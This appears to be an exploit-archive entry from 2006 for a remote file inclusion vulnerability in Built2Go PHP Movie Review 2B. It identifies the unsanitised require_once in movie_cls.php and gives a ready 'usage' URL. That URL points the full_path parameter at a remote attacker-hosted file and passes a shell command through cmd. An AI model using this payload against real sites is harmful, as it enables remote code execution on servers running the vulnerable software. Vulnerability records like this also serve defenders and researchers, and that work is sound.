[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Built2Go PHP Movie Review <= 2B Remote File Inclusion Vulnerability
# Published : 2006-04-23
# Author : Camille Myers
# Previous Title : PHP-Fusion <= 6.00.306 (srch_where) SQL Injection Exploit
# Next Title : DeluxeBB <= 1.06 (Attachment mod_mime) Remote Exploit
Built2Go PHP Movie Review <=2B Remote File Inclusion Vulnerability
in movie_cls.php
# require_once("$full_path/review_cls.php");
usage:
# http://www.site.com/[path]/movie_cls.php?full_path=http://www.site.com/x.txt?&cmd=uname -a
# www.Syue.com [2006-04-23]